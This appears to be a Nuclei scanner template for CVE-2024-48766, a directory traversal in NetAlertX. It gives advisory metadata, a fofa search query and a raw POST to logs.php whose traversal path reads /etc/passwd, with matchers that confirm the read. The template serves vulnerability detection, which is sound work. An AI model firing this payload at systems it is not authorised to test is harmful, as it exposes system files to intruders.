id: CVE-2024-48766 info: name: NetAlert X - Arbitary File Read author: s4e-io severity: critical description: | A directory traversal vulnerability has been identified in NetAlertX versions v24.7.18 - v24.9.12. impact: | This vulnerability allows remote attackers to list directories on the affected system. Successful exploitation could enable unauthorized users to explore the system’s internal structure. remediation: | Fixed in v24.10.12 reference: - https://advisories.checkpoint.com/defense/advisories/public/2025/cpai-2024-1358.html - https://github.com/rapid7/metasploit-framework/pull/19881 - https://github.com/jokob-sk/NetAlertX classification: cve-id: CVE-2024-48766 cwe-id: CWE-22 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 epss-score: 0.77665 epss-percentile: 0.99012 cpe: cpe:2.3:a:netalertx:netalertx:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: jokob-sk product: netalertx fofa-query: "NetAlert X" tags: cve,cve2024,netalertx,lfi,vkev,vuln variables: filename: "{{rand_base(6)}}" http: - raw: - | POST /php/components/logs.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded items=[{"buttons":[{"labelStringCode":"Maint_PurgeLog","event":"logManage(app.log, cleanLog)"},{"labelStringCode":"Maint_RestartServer","event":"askRestartBackend()"}],"fileName":"{{filename}}","filePath":"../../../../..//etc/passwd","textAreaCssClass":"logs"}] matchers: - type: dsl dsl: - "regex('root:.*:0:0:', body)" - 'contains(body, "Purge log")' - 'status_code == 200' condition: and # digest: 490a0046304402205fa286877beefc2e692f8a4b301f2527164a68d31907ca497d7c25596a0ce24602205aee54754898850faa40c0454f8b546c11a035beec79815bdd8fbc2451e9dcf0:922c64590222798bb761d5b6d8e72950